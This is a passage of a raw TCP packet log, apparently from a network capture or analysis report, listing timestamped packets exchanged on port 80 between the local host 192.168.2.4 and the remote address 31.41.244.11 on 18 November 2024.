Nov 18, 2024 23:04:15.344459057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344480991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344492912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344506025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344527006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344549894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344561100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344585896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344595909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344609976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344633102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344640970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344687939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344923019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344957113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.344983101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.344990969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345005035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345025063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345043898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345058918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345074892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345112085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345403910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345442057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345467091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345474958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345488071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345510006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345537901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345545053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345561028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345580101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345591068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345614910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345634937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345650911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345662117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345685005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345696926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345719099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345731020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345753908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345766068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345788956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345798969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345823050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345835924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345856905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.345876932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.345901966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.346167088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346224070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.346333981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346349955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346376896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346391916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346391916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.346410036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346426964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346426964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.346426964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.346441984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346450090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.346458912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346472979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.346473932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346489906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346507072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346519947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346520901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.346535921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346543074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.346551895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.346575022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.346604109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.347357035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347373009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347387075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347403049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347417116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.347419977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347435951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347451925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347460032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.347467899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347485065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347490072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.347500086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347512007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.347517967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347534895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347537041 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.347549915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347565889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347573042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.347582102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347594976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.347599030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347615004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347615004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.347630024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347645998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.347655058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.347675085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.347697020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.348310947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348328114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348341942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348356962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348370075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.348371983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348388910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348392010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.348406076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348422050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348434925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348450899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348449945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.348449945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.348468065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348479986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.348484993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348501921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348515987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348519087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.348531961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348536968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.348547935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348565102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348578930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.348578930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348596096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.348604918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.348625898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.348644972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.349123001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349138021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349152088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349169016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349179983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.349194050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349210024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349210024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.349225998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349241018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349246025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.349257946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349270105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.349272966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349289894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349312067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.349318981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349334002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.349335909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349354982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.349355936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349370956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349385023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349395990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.349400997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349419117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349431992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.349435091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.349481106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.349500895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.350116968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.350135088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.350152016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.350167990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.350179911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.350183964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.350200891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.350203037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.350238085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.350270033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.389719963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.389772892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.389811993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.389826059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.389834881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.389859915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.389880896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.389894009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.389911890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.389926910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.389969110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.389981985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.390011072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.390017986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.390048981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.390052080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.390075922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.390086889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.390098095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.390125036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.390158892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.390182972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.390259027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.390315056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.390317917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.390347958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.390367985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.390383959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.390408993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.390433073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.390511036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.390568018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.395148993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.395229101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.395262957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.395308018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.395309925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.395363092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.395387888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.395399094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.395421028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.395442009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.395447969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.395504951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.395514011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.395539999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.395565033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.395576000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.395590067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.395606995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.395675898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.399493933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418152094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418205976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418236971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418378115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418410063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418416023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418416023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418440104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418446064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418482065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418483973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418508053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418541908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418608904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418658972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418670893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418693066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418718100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418725014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418755054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418759108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418778896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418795109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418816090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418849945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418891907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418924093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418945074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418956995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.418967962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.418992043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.419009924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.419024944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.419045925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.419080019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.419367075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.419399977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.419434071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.419471025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.419503927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.419504881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.419537067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.419567108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.419569969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.419588089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.419605017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.419634104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.419653893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.421740055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.421791077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.421813965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.421824932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.421844959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.421879053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.422035933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.422068119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.422099113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.422101974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.422136068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.422137022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.422158003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.422169924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.422180891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.422213078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.462969065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463004112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463021994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463037014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463047981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.463054895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463073015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463090897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463216066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.463216066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.463216066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.463216066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.463287115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463323116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463340044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463354111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463359118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.463370085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463382006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.463387966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463402033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.463404894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463423014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463433027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.463439941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.463453054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.463495970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.464046001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.464108944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.467705965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.467747927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.467766047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.467786074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.467825890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.467848063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.467890024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.467920065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.467946053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.467947960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.467967033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.467974901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.467989922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468038082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468224049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468251944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468276978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468281984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468306065 CET	80	49794	31.41.244.11	192.168.2.4
